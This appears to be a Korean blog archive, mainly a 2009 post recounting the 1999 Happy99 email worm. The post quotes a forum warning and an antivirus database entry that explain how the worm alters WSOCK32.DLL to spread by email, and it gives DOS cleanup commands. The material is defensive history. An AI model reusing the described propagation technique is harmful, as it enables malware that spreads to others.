수 있음을 권고하고 있다. 이 번역문은 법률적 검토와 문서간의 동일성 여부에 대한 

검증을 거치지 않은 것이며 이로 인해서 야기될 수 있을 지도 모를 법률적인 문제에 

대해서 어떠한 형태의 보증도 하지 않는다. 

 

Original Copy: GNU General Public License 

 

Korean Translator: 1998 Song Changhun 송창훈 mailto:chsong@cyber.co.kr


(GNU 퍼블릭 라이센스를 읽어보시고 다운로드해 주세요)

2009년 2월 4일 수요일

Gmail이 아주 조금 바뀌었습니다

라벨 관련 차림표와 이동 관련 차림표가 나뉘어졌더군요.
차림표 디자인도 아주 조금 바뀌었습니다.
(이거 뻘글인가?)

2009년 2월 2일 월요일

happy99 바이러스 소동 1999

BRIC-Forum Korea Archive: Happy99.EXE 절대열지마세요

E-Mail 웜 (다른 파일을 감염시키지 않으므로 바이러스가 아니라 웜입니다) 중 하나로 다른 파일은 감염시키지 않지만 winsock.dll을 번형시켜 원래 wsock32.dll은 wsock32.ska로 만들어서 다른 사람에게 이메일을 보낼때 마다 오류를 일으키고 원래 작성해 보내려고 한 이메일에 이 happy99.exe를 첨부시켜 또 다른 감염을 일으키는 바이러스입니다;;

wsock32.ska란 이름으로 확장자만 변형시켜 원본을 만들어 놓는 점과 한번 happy99.exe 를 첨부한 주소에는 ska.txt 에 저장시켜 놓고 다시 happy99.exe 가 첨부된 메일을 보내지 않는자는 점이 이상하군요;;

1.happy99 바이러스란?

=================================================================

BRIC-Forum Korea Archive: Happy99.EXE 절대열지마세요

Happy99.EXE 절대열지마세요

BRIC-Forum Korea Archive: Happy99.EXE 절대열지마세요제가 조금전에 endotoxin에대한 질문의 글을 올렸는데 부주의로 인하여 virus가
같이 이동되었습니다. 절대 'Happy99.exe" file은 열지 마시고 혹시
열어보신분은 아래와 같이 조치하시기 바랍니다. 정말 죄송합니다.

강태봉 (kangtb@han.ac.kr)
Thu, 20 May 1999 18:48:11 +0900

=================================================================

1. happy99란 :
다른 파일은 감염시키지 않는 웜(Worm)으로 사용자가 보낸 E-Mail에 첨부되어
자기 자신을 유포시킨다.
첨부된 HAPPY99.EXE 파일을 실행하면 폭죽이 터지는 동영상 화면이 나와 신년
축하 유틸리티로 착각하기 쉽다.

2. 증세 및 피해:
WSOCK32.DLL 파일이 변형되므로 OUT LOOK 등 E-Mail 프로그램에서 오동작이
일어날 수 있으며,
불필요한 파일이 첨부되므로 그만큼 인터넷 속도가 저하된다.

3. 해결방법 :
다른 사람에게서 온 메일 중 Happy99.exe가 첨가된 파일을 안열어 본다.
만약 열어 보았을 경우 아래와 같은 해결방법으로 처리한다.
1) Happy99.exe 파일과 System 폴더안의 SKA.EXE 와 SKA.DLL을 삭제
2) 도스로 부팅하여 System 폴더에 있는 WSOCK32.DLL 삭제 후
WSOCK32.SKA 파일의 확장자를 DLL로 이름을 변경합니다.

3) Happy99의 재감염을 막기 위해서는
WSOCK32.DLL을 읽기 전용 파일로 만들어 주면 됩니다.

[참고] 도스로 부팅 하려면..
"시작버튼->시스템종료-> MS-DOS모드에서 시스템 다시시작"으로 부팅
C: \ WINDOWS \ SYSTEM > DEL WSOCK32.DLL
C: \ WINDOWS \ SYSTEM > REN WSOCK32.SKA WSOCK32.DLL

--------------------------------------------------------------
% forum담당자에게 전하실 내용은 mailto:sujin@bric.postech.ac.kr 로 보내 주세요.
% 이 편지에 대한 reply는 forum회원모두에게 갑니다. 개인적인 메일은
% mailto:강태봉 <kangtb@han.ac.kr> 님께 따로 새 메일을 작성하여 보내시기 바랍니다.
--------------------------------------------------------------

2.happy99 바이러스 실행 장면

==============================================================






















============================================================
3.happy99.exe V3 데이타베이스 검색 정보
====================================================
I-Worm/Happy99
다른이름 I-Worm/Happy99 웜, Happy99.Worm, W32/SKA.EXE, W95/H 위험도 낮음
확산위험도 미정 현재확산도 매우낮음
종류 감염형태 실행파일
감염OS 미정 감염경로 미정
제작지
국내발견일 1999-02-01
검사 Y 치료 Y
치료엔진 1999.01.01.00 특정활동일 특정일 활동 없음
[증상]

E-Mail로 감염되며, 첨부 파일을 실행하면 폭죽 터지는 동영상이 출력된다.

[내용]

-상주형

1999년 1월 인터넷 뉴스그룹을 통해 유럽지역을 중심으로 널리 확산되고 있으며, 우리 나라에서도 2월 발견된 이후 널리 확산되고 있다.

HAPPY99.EXE 파일은 다른 파일은 감염시키지 않는 웜(Worm)으로 사용자가 보낸 E-Mail에 첨부되어 자기 자신을 유포시킨다. 첨부된 HAPPY99.EXE 파일을 실행하면 폭죽이 터지는 동영상 화면이 나와 신년 축하 유틸리티로 착각하기 쉽다.

그 과정 중에 윈도우의 SYSTEM 폴더에 SKA.EXE, SKA.DLL 파일을 생성하고, 인터넷 관련 WSOCK32.DLL 파일을 WSOCK32.SKA 파일로 변경(백업)하여 E-Mail 발송시 HAPPY99.EXE 파일이 첨부되도록 WSOCK32.DLL 파일을 변형한다.

WSOCK32.DLL 파일이 변형되므로 OUT LOOK 등 E-Mail 프로그램에서 오동작이 일어날 수 있으며, 불필요한 파일이 첨부되므로 그만큼 인터넷 속도가 저하된다. 아울러 HAPPY99.EXE 파일을 전송한 E-mail 주소의 내역은 LISTE.SKA 파일로 저장해둔다.

다른 파일에는 감염되지 않으므로 HAPPY99.EXE 파일과 SKA.EXE, SKA.DLL 파일을 삭제한 후 변형된 WSOCK32.SKA 파일의 확장자를 원래대로 바꾸면 된다.

그러나 이미 HAPPY99.EXE에 의해 변형된 WSOCK32.DLL 파일은 인터넷 관련 프로그램이 실행되고 있으면 삭제되지 않으므로 인터넷 관련 프로그램들을 모두 종료한 후 삭제하거나 도스 모드에서 WSOCK32.DLL 파일을 삭제한 후 변형되어 있는 WSOCK32.SKA 파일의 확장자를 DLL 변경하여 사용한다.

HAPPY99.EXE에 의해 다시 WSOCK32.DLL 파일이 변경되는 것을 예방하려면 WSOCK32.DLL 파일의 속성을 읽기 전용으로 변경하면 된다(도스 상태에서 "ATTRIB +R WSOCK32.DLL"라고 명령을 주면 읽기 전용으로 파일 속성이 변경된다.).
==================================================================
4.외국 자료 링크
http://www.geocities.com/siliconvalley/heights/3652/SKA.HTM
여기서 끝냅니다.